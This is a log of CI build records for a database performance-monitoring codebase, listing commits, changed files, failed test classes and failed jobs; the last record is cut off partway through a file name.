+{"date":"2026-09-29","head_sha":"a57bc17ec854c6604d575ec24f25f8b3e3ef658a","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectorMeasurementSeamTests.cs","Darling/Darling.Tests/LiveTailQuery.cs","Darling/Darling.Tests/PgDeadlocksCsvlogLiveTests.cs","Darling/Darling.Tests/PgDeadlocksPlanCaptureResumeTests.cs","Darling/Darling.Tests/PgDeadlocksResumeLiveTests.cs","Darling/Darling.Tests/PgLogEventsCsvlogLiveTests.cs","Darling/Darling.Tests/PgLogEventsJsonlogLiveTests.cs","Darling/Darling.Tests/PgLogEventsPipelineTests.cs","Darling/Darling.Tests/PgLogTailStderrSiblingLiveTests.cs","Darling/Darling.Tests/PgPlanCaptureCsvLiveTests.cs","Darling/Darling.Tests/PgPlanCaptureLiveTests.cs","Darling/Darling.Tests/PgRaiseShapedRecordsLiveTests.cs","Darling/Darling.Tests/PgServerLogTailBinaryRouteTests.cs","Darling/Darling.Tests/PgServerLogTailCsvJsonRotationLiveTests.cs","Darling/Darling.Tests/PgServerLogTailResumeTests.cs","Darling/Darling.Tests/PgServerLogTailRotationLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Lite.Tests/PgPlanCaptureCollectorDefinitionTests.cs","PerformanceMonitor.Collectors/PgDeadlocksCollector.cs","PerformanceMonitor.Collectors/PgLogEventsCollector.cs","PerformanceMonitor.Collectors/PgPlanCaptureCollector.cs","PerformanceMonitor.Collectors/PgServerLogTail.cs"],"failed_classes":["Darling.Tests.CollectorStateContractTests","Darling.Tests.TsqlConventionGuardTests","Lite.Tests.DefaultTraceEventsCollectorDefinitionTests","Lite.Tests.PgServerLogPathPinTests"],"failed_jobs":["Darling PG tests (1)","Lite tests (1)","build","Lite tests (0)"]}
+{"date":"2026-09-29","head_sha":"1954b70d2d5308678af313170d346d0f912a5d2a","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetMeasuredLineageTests.cs","Darling/Darling.Tests/PgTargetMemoryTests.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Memory.cs","PerformanceMonitor.Analysis/PgTargetScorer.Memory.cs"],"failed_classes":["Darling.Tests.PgServerLogTailRotationLiveTests","Darling.Tests.PgTargetMemoryTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-29","head_sha":"0477bc1d12a2352fce89d48bf7b90e2d0497af7e","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingSecretsDecryptFailureTests.cs","Darling/Darling.Tests/ServerConnectPolicyTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/ServerConnectPolicy.cs","Darling/PerformanceMonitor.Darling.Service/Targets/SqlServerTargetProvider.cs"],"failed_classes":["Darling.Tests.DarlingCloudIdentityProbeTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-29","head_sha":"03d9905807c3ed5cf6134cf047d671fea6b39bc3","event":"pull_request","changed_files":["Darling/Darling.Tests/RdsLogEventIngestorCsvlogTests.cs","Darling/Darling.Tests/RdsLogSourceTests.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogSource.cs"],"failed_classes":["Darling.Tests.PgServerLogTailRotationLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-29","head_sha":"a59f6dc910aaf76b792296625f40e8ed40cbc310","event":"pull_request","changed_files":["Darling/Darling.Tests/PgPlanCaptureCsvUnitTests.cs","Darling/Darling.Tests/PgPlanCaptureRaiseShapedUnitTests.cs","Darling/Darling.Tests/PgServerLogCsvParserTests.cs","PerformanceMonitor.Collectors/PgLogEntry.cs","PerformanceMonitor.Collectors/PgPlanCaptureCollector.cs","PerformanceMonitor.Collectors/PgServerLogCsvParser.cs"],"failed_classes":["Darling.Tests.PgServerLogTailRotationLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-29","head_sha":"a60e32f36fe48521bcce777a497a04c63683d25f","event":"pull_request","changed_files":["Darling/Darling.Tests/HourlyWindowEdgesTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/TopProceduresHourlyRoutingLiveTests.cs","Darling/Darling.Tests/TopQueriesHourlyRoutingLiveTests.cs","Darling/Darling.Tests/TopQueriesHourlyRoutingTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Storage/HourlyWindowEdges.cs"],"failed_classes":["Darling.Tests.McpToolGuideHeadsDataTests","Darling.Tests.McpToolGuideTests","Darling.Tests.McpToolsListBudgetTests","Darling.Tests.TopProceduresHourlyRoutingTests"],"failed_jobs":["Darling PG tests (1)","build","Lite tests (0)","Darling PG tests (0)"]}
+{"date":"2026-09-29","head_sha":"38f19e703047e1f2daa46e4d7c5f5afbb73734bd","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/DarlingStoreUpgradeTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreUpgrade.cs"],"failed_classes":["Darling.Tests.DarlingStoreUpgradeRevertTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-09-29","head_sha":"216a4317f332258fb49dcceb5a818b9229c75795","event":"push","changed_files":["Darling/Darling.Tests/PgPlanCaptureCsvUnitTests.cs","Darling/Darling.Tests/PgPlanCaptureRaiseShapedUnitTests.cs","Darling/Darling.Tests/PgServerLogCsvParserTests.cs","PerformanceMonitor.Collectors/PgLogEntry.cs","PerformanceMonitor.Collectors/PgPlanCaptureCollector.cs","PerformanceMonitor.Collectors/PgServerLogCsvParser.cs"],"failed_classes":["Darling.Tests.PgServerLogTailRotationLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-29","head_sha":"7d74d8554134ecb006c5915de3a82dcc82b552f7","event":"pull_request","changed_files":["Darling/Darling.Tests/RdsLogEventIngestorCsvlogTests.cs","Darling/Darling.Tests/RdsLogSourceTests.cs","Darling/Darling.Tests/RdsResumePersistenceTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsCpuIngestor.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsDeadlockIngestor.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsIngestOutcome.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogEventIngestor.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogSource.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsPlanIngestor.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsResumeStore.cs"],"failed_classes":["Darling.Tests.PgServerLogTailRotationLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-29","head_sha":"0654199a72be8f5b18dcf19e330457a9d46dd273","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/DarlingStoreUpgradeRevertTests.cs","Darling/Darling.Tests/DarlingStoreUpgradeTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreUpgrade.cs"],"failed_classes":["Darling.Tests.PgServerLogTailRotationLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-29","head_sha":"511f357e0dd46c92ec7d2ec4273275228f5f8e1c","event":"push","changed_files":["Darling/Darling.Tests/PgLogBurstAndRotationLiveTests.cs","Darling/Darling.Tests/PgServerLogTailRotationLiveTests.cs"],"failed_classes":["Darling.Tests.DarlingCloudIdentityProbeTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-29","head_sha":"3f390f5e59bd0233aa9a5b324a7119d84a891fb7","event":"pull_request","changed_files":["Darling/Darling.Tests/HourlyWindowEdgesTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/TopProceduresHourlyRoutingLiveTests.cs","Darling/Darling.Tests/TopQueriesHourlyRoutingLiveTests.cs","Darling/Darling.Tests/TopQueriesHourlyRoutingTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Storage/HourlyWindowEdges.cs"],"failed_classes":["Darling.Tests.McpToolGuideHeadsDataTests","Darling.Tests.McpToolGuideTests","Darling.Tests.McpToolsListBudgetTests","Darling.Tests.TopProceduresHourlyRoutingTests"],"failed_jobs":["build","Darling PG tests (0)","Lite tests (0)","Darling PG tests (1)"]}
+{"date":"2026-09-29","head_sha":"3c8d96cdf2be3fe53e25695b789c66145b4a4211","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingDeployStaleFileTests.cs","Darling/tools/install-darling.ps1","Darling/tools/upgrade-darling.ps1"],"failed_classes":["Darling.Tests.DarlingFileSecurityTests","Darling.Tests.DarlingInstallLocationTests","Darling.Tests.DarlingRuntimePreflightTests"],"failed_jobs":["build","Darling PG tests (0)","Darling PG tests (1)"]}
+{"date":"2026-09-29","head_sha":"2c2da8b65a977d3f5b3f8a53c3ee5af552f59d22","event":"pull_request","changed_files":["Darling/Darling.Tests/PartialDailyHealLiveTests.cs","Darling/Darling.Tests/PartialDailyHealPureTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/PartialDailyHeal.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.MaterializationHoles.cs"],"failed_classes":["Darling.Tests.TsqlConventionGuardTests"],"failed_jobs":["Darling PG tests (1)","build"]}
+{"date":"2026-09-29","head_sha":"ec5535c1a2aa296aebe09e4af111018919d6185b","event":"pull_request","changed_files":["Lite.Tests/CollectionCycleResumeTests.cs","Lite.Tests/DeltaFamilyIntervalColumnTests.cs","Lite.Tests/NewerSchemaFileGuardTests.cs","Lite.Tests/PerfmonCounterTypeTests.cs","Lite.Tests/QsCaptureModeRungTests.cs","Lite.Tests/SchemaColumnHealingTests.cs","Lite.Tests/TimeHonestyRungTests.cs","Lite/Database/DuckDbInitializer.cs","Lite/Database/SchemaVersionTooNewException.cs","Lite/Services/CollectionBackgroundService.cs"],"failed_classes":["Darling.Tests.QsCaptureModeRouteKnobToastRungTests","Darling.Tests.TimeHonestyRungTests"],"failed_jobs":["build"]}
+{"date":"2026-09-29","head_sha":"d85dc2f70e0f1e8b7cff4479a33a639903ddc40e","event":"push","changed_files":["Darling/Darling.Tests/DarlingCliCommandsTests.cs","Darling/Darling.Tests/DarlingNetworkConfigEditorTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingNetworkConfigEditor.cs","Darling/README.md"],"failed_classes":["Darling.Tests.DarlingCustomViewsTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-29","head_sha":"2951d443b1405eec71e4b35272e936f813ac03cb","event":"push","changed_files":["Darling/Darling.Tests/DarlingMcpServerAdminToolsTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerAdminTools.cs","Darling/README.md"],"failed_classes":["Darling.Tests.DarlingMcpStoreHostToolsLiveTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-29","head_sha":"8ae9a3f65c439b01f48f0a2fcb597474dc73209a","event":"pull_request","changed_files":["Darling/Darling.Tests/CaggGroupIndexDropLiveTests.cs","Darling/Darling.Tests/ConsumedTimestampFrameDisciplineTests.cs","Darling/Darling.Tests/IntervalFirstExecIndexWideRungTests.cs","Darling/Darling.Tests/QueryStoreIntervalEndRungTests.cs","Darling/Darling.Tests/QueryStorePlanFetchTests.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalWide.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Lite.Tests/GoldenCollectorSchema.cs","Lite.Tests/QueryStoreCollectorDefinitionTests.cs","Lite.Tests/QueryStoreIntervalEndRungTests.cs","Lite.Tests/SchemaColumnHealingTests.cs","Lite/Database/DuckDbInitializer.cs","Lite/Database/SchemaVersionTooNewException.cs","PerformanceMonitor.Collectors/QueryStoreCollector.cs"],"failed_classes":["Darling.Tests.QueryStoreIntervalEndRungTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-29","head_sha":"85773bdac87fdf6efe84bf61122c5b1575133d7b","event":"pull_request","changed_files":["Darling/Darling.Tests/ConsumedTimestampFrameDisciplineTests.cs","Darling/Darling.Tests/DarlingBlockingReaderServerClockTests.cs","Darling/Darling.Tests/DarlingDefaultTraceReaderServerClockTests.cs","Darling/Darling.Tests/DarlingJobReaderServerClockTests.cs","Darling/Darling.Tests/DarlingMcpDefaultTraceToolsTests.cs","Darling/Darling.Tests/DarlingObjectStatsReaderServerClockTests.cs","Darling/Darling.Tests/DarlingPvsReaderServerClockTests.cs","Darling/Darling.Tests/DarlingServerClockReaderTests.cs","Darling/Darling.Tests/McpPayloadClockFrameDisciplineTests.cs","Darling/Darling.Tests/McpServerClockTestSupport.cs","Darling/Darling.Tests/PlanCorrectionFrameLiveTests.cs","Darling/Darling.Tests/ServerLocalReadFrameDisciplineTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingBlockingReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDefaultTraceReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingJobReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingObjectStatsReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingPvsReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingServerClockReader.cs"],"failed_classes":["Darling.Tests.ReadLatencyWebRecordingTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-29","head_sha":"0d6caa336094a50ac2d6afdc2527d7171c15aa13","event":"pull_request","changed_files":["Darling/Darling.Tests/CaggGroupIndexDropLiveTests.cs","Darling/Darling.Tests/CheckpointLongestSyncRungTests.cs","Darling/Darling.Tests/CheckpointSyncSamplerTests.cs","Darling/Darling.Tests/DarlingCommandExecutorTests.cs","Darling/Darling.Tests/DarlingRetentionTests.cs","Darling/Darling.Tests/PurgeNowBackgroundTests.cs","Darling/Darling.Tests/QueryStoreIntervalEndRungTests.cs","Darling/Darling.Tests/RawPurgeNowWiringTests.cs","Darling/Darling.Tests/RawTablesLeaveCatalogSweepLiveTests.cs","Darling/Darling.Tests/RepoFileAdoptionTests.cs","Darling/Darling.Tests/RetentionWalPacerLiveTests.cs","Darling/Darling.Tests/RetentionWalPacerTests.cs","Darling/Darling.Tests/StoreSelfMetricsTests.cs","Darling/Darling.Tests/StoreToastAndCheckpointerTests.cs","Darling/PerformanceMonitor.Darling.Service/CheckpointSyncSampler.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCommandExecutor.cs","Darling/PerformanceMonitor.Darling.Service/DarlingRetention.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreMetricsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoreMetricsReader.cs","Darling/PerformanceMonitor.Darling.Service/RetentionWalPacer.cs","Darling/PerformanceMonitor.Darling.Service/ServiceCommandDeadlines.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Storage/StoreSelfMetrics.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerCommandDeadlines.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ControlCommands.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.CollectionHealth.cs"],"failed_classes":["Darling.Tests.PostmasterStartTimeLivePostgresTests","Darling.Tests.QueryStoreIntervalEndRungTests"],"failed_jobs":["Darling PG tests (0)","Darling PG tests (1)"]}
+{"date":"2026-09-29","head_sha":"3247e2f88ea4017a2f25ddf13bebc8bec6954ed3","event":"pull_request","changed_files":["Darling/Darling.Tests/CaggGroupIndexDropLiveTests.cs","Darling/Darling.Tests/CheckpointLongestSyncRungTests.cs","Darling/Darling.Tests/CheckpointSyncSamplerTests.cs","Darling/Darling.Tests/DarlingCommandExecutorTests.cs","Darling/Darling.Tests/DarlingMcpStoreMetricsToolsTests.cs","Darling/Darling.Tests/DarlingRetentionTests.cs","Darling/Darling.Tests/PurgeNowBackgroundTests.cs","Darling/Darling.Tests/PurgeNowTotalsWatchTests.cs","Darling/Darling.Tests/QueryStoreIntervalEndRungTests.cs","Darling/Darling.Tests/RawPurgeNowWiringTests.cs","Darling/Darling.Tests/RawTablesLeaveCatalogSweepLiveTests.cs","Darling/Darling.Tests/RepoFileAdoptionTests.cs","Darling/Darling.Tests/RetentionWalPacerLiveTests.cs","Darling/Darling.Tests/RetentionWalPacerTests.cs","Darling/Darling.Tests/StoreSelfMetricsTests.cs","Darling/Darling.Tests/StoreToastAndCheckpointerTests.cs","Darling/PerformanceMonitor.Darling.Service/CheckpointSyncSampler.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCommandExecutor.cs","Darling/PerformanceMonitor.Darling.Service/DarlingRetention.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreMetricsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoreMetricsReader.cs","Darling/PerformanceMonitor.Darling.Service/RetentionWalPacer.cs","Darling/PerformanceMonitor.Darling.Service/ServiceCommandDeadlines.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Storage/StoreSelfMetrics.cs","Darling/PerformanceMonitor.Darling.Viewer/PurgeNowWatch.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerCommandDeadlines.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CollectionHealth.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ControlCommands.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.CollectionHealth.cs"],"failed_classes":["Darling.Tests.PostmasterStartTimeLivePostgresTests","Darling.Tests.QueryStoreIntervalEndRungTests"],"failed_jobs":["Darling PG tests (1)","Darling PG tests (0)"]}
+{"date":"2026-09-29","head_sha":"e8ddea0318de7b01545e665cb3b2a83a7b3117cd","event":"pull_request","changed_files":["Darling/Darling.Tests/CaggGroupIndexDropLiveTests.cs","Darling/Darling.Tests/CheckpointLongestSyncRungTests.cs","Darling/Darling.Tests/CheckpointSyncSamplerTests.cs","Darling/Darling.Tests/DarlingCommandExecutorTests.cs","Darling/Darling.Tests/DarlingMcpStoreMetricsToolsTests.cs","Darling/Darling.Tests/DarlingRetentionTests.cs","Darling/Darling.Tests/PurgeNowBackgroundTests.cs","Darling/Darling.Tests/PurgeNowTotalsWatchTests.cs","Darling/Darling.Tests/QueryStoreIntervalEndRungTests.cs","Darling/Darling.Tests/RawPurgeNowWiringTests.cs","Darling/Darling.Tests/RawTablesLeaveCatalogSweepLiveTests.cs","Darling/Darling.Tests/RepoFileAdoptionTests.cs","Darling/Darling.Tests/RetentionWalPacerLiveTests.cs","Darling/Darling.Tests/RetentionWalPacerTests.cs","Darling/Darling.Tests/StoreSelfMetricsTests.cs","Darling/Darling.Tests/StoreToastAndCheckpointerTests.cs","Darling/PerformanceMonitor.Darling.Service/CheckpointSyncSampler.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCommandExecutor.cs","Darling/PerformanceMonitor.Darling.Service/DarlingRetention.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreMetricsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoreMetricsReader.cs","Darling/PerformanceMonitor.Darling.Service/RetentionWalPacer.cs","Darling/PerformanceMonitor.Darling.Service/ServiceCommandDeadlines.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Storage/StoreSelfMetrics.cs","Darling/PerformanceMonitor.Darling.Viewer/PurgeNowWatch.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerCommandDeadlines.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CollectionHealth.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ControlCommands.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.CollectionHealth.cs"],"failed_classes":["Darling.Tests.PostmasterStartTimeLivePostgresTests","Darling.Tests.QueryStoreIntervalEndRungTests"],"failed_jobs":["Darling PG tests (1)","Darling PG tests (0)"]}
+{"date":"2026-09-29","head_sha":"374b6af4c50efccecaa50c34437345eb81513017","event":"pull_request","changed_files":["Darling/Darling.Tests/ConfigChangeTraceAnchorTests.cs","Darling/Darling.Tests/CreationTimeClockFrameDisciplineTests.cs","Darling/Darling.Tests/ParameterSensitivityClockFrameLiveTests.cs","Darling/Darling.Tests/ParameterSensitivityFiringSignatureParityTests.cs","Darling/Darling.Tests/PlanRegressionReadShapeTests.cs","Darling/Darling.Tests/ServerLocalReadFrameDisciplineTests.cs","Darling/Darling.Tests/ServerLocalRowConversionTests.cs","Darling/PerformanceMonitor.Darling.Analysis/DarlingAnalysisService.cs","Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Queries.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.QueryPerf.cs","Darling/PerformanceMonitor.Darling.Analysis/ServerLocalTimes.cs","Darling/PerformanceMonitor.Darling.Service/DarlingAlertReadAdapter.cs","Lite.Tests/ServerClockDstReadTests.cs","Lite/Analysis/AnalysisService.cs","Lite/Analysis/DrillDownCollector.Queries.cs","Lite/Analysis/DuckDbFactCollector.QueryPerf.cs","Lite/Analysis/PlanCreationClock.cs","Lite/Services/LocalDataService.RunningJobs.cs"],"failed_classes":["Darling.Tests.ParameterSensitiveDrillDownTextLiveTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-29","head_sha":"6634aa7a1dff35234981389d3be04eca73a811b2","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectionHealthAggregateTests.cs","Darling/Darling.Tests/FleetPartialDatabaseFailureBandTests.cs","Darling/Darling.Tests/OverviewCollectionHealthRollupRoutingTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingFleetReader.cs","Darling/PerformanceMonitor.Darling.Storage/CollectionHealthRollupSupport.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CollectionHealth.cs"],"failed_classes":["Darling.Tests.FleetPartialDatabaseFailureBandTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-29","head_sha":"267d275488163ae48377eee077766e723206dce2","event":"pull_request","changed_files":["Darling/Darling.Tests/CountFamilyZeroHistoryTests.cs","Darling/Darling.Tests/DarlingAnomalyBaselineTests.cs","Darling/Darling.Tests/PgTargetAnomalyTests.cs","Darling/Darling.Tests/PgTargetZeroHistoryTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgAnomalyDetector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.WaitsSampled.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.cs","Lite.Tests/CountFamilyZeroHistoryTests.cs","Lite.Tests/ScenarioTests.cs","Lite/Analysis/AnomalyDetector.cs","PerformanceMonitor.Analysis/Baselines/CountFamilyMetadata.cs","PerformanceMonitor.Analysis/FactAdvice.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Anomaly.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Wait.cs"],"failed_classes":["Darling.Tests.PgTargetAnomalyTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-29","head_sha":"58811dedb7e50d3cd038c17f3b23a1981db07754","event":"pull_request","changed_files":["Darling/Darling.Tests/ConsumedTimestampFrameDisciplineTests.cs","Darling/Darling.Tests/CorrelatedLanesXAxisWindowTests.cs","Darling/Darling.Tests/ViewerAlertClockCacheTests.cs","Darling/Darling.Tests/ViewerChartUtcFrameTests.cs","Darling/Darling.Tests/ViewerClockRendererArithmeticTests.cs","Darling/Darling.Tests/ViewerContextMenuTests.cs","Darling/Darling.Tests/ViewerDrillDownTests.cs","Darling/Darling.Tests/ViewerRecommendationServerClockTests.cs","Darling/Darling.Tests/ViewerServerClockTests.cs","Darling/Darling.Tests/ViewerTimeHelperTests.cs","Darling/Darling.Tests/ViewerTimeStaticsCollection.cs","Darling/Darling.Tests/ViewerTypedRangeZoneTests.cs","Darling/Darling.Tests/ViewerWave3Tests.cs","Darling/PerformanceMonitor.Darling.Viewer/CorrelatedTimelineLanesControl.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Loaders.cs","Darling/PerformanceMonitor.Darling.Viewer/MainWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ManageServersWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ProcedureHistoryWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/QueryStatsHistoryWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/QueryStoreHistoryWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/RecommendationsViewModel.cs","Darling/PerformanceMonitor.Darling.Viewer/ServerClockCache.cs","Darling/PerformanceMonitor.Darling.Viewer/TimeRangeSlicerControl.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.AlertHistory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Blocking.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CollectionHealth.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Cpu.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryTrends.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Blocking.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.ChartContextMenu.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Charts.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.CollectionHealth.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.CpuScheduler.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.DrillDown.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.FileIo.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.LatchSpinlock.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Memory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Perfmon.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.PlanCache.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.QueryHeatmap.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.QueryTrends.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.SessionStats.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.SystemHealthCharts.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.TimeRange.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Waits.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerTimeHelper.cs","Lite.Tests/AlertBadgeServerOffsetTests.cs","Lite.Tests/AlertHistoryRowClockTests.cs","Lite.Tests/AxesExtensionsTests.cs","Lite.Tests/ChartCsvExportDisplayZoneTests.cs","Lite.Tests/ChartTimeConversionClockTests.cs","Lite.Tests/CollectionHealthWindowTests.cs","Lite.Tests/ComparisonWindowUtcTests.cs","Lite.Tests/CustomRangeStateTests.cs","Lite.Tests/DisplayZoneRendererTests.cs","Lite.Tests/DisplayZoneTests.cs","Lite.Tests/DisplayZoneTextFrameTests.cs","Lite.Tests/DisplayZoneTickTests.cs","Lite.Tests/HistoryGridZoneTests.cs","Lite.Tests/LiteRecommendationServerClockTests.cs","Lite.Tests/McpPageContractTests.cs","Lite.Tests/OverviewComparisonWindowOffsetTests.cs","Lite.Tests/OverviewLanesUtcFrameTests.cs","Lite.Tests/QueriesTabWindowRoundTripTests.cs","Lite.Tests/QueryWindowTruncationTests.cs","Lite.Tests/SecondOccurrence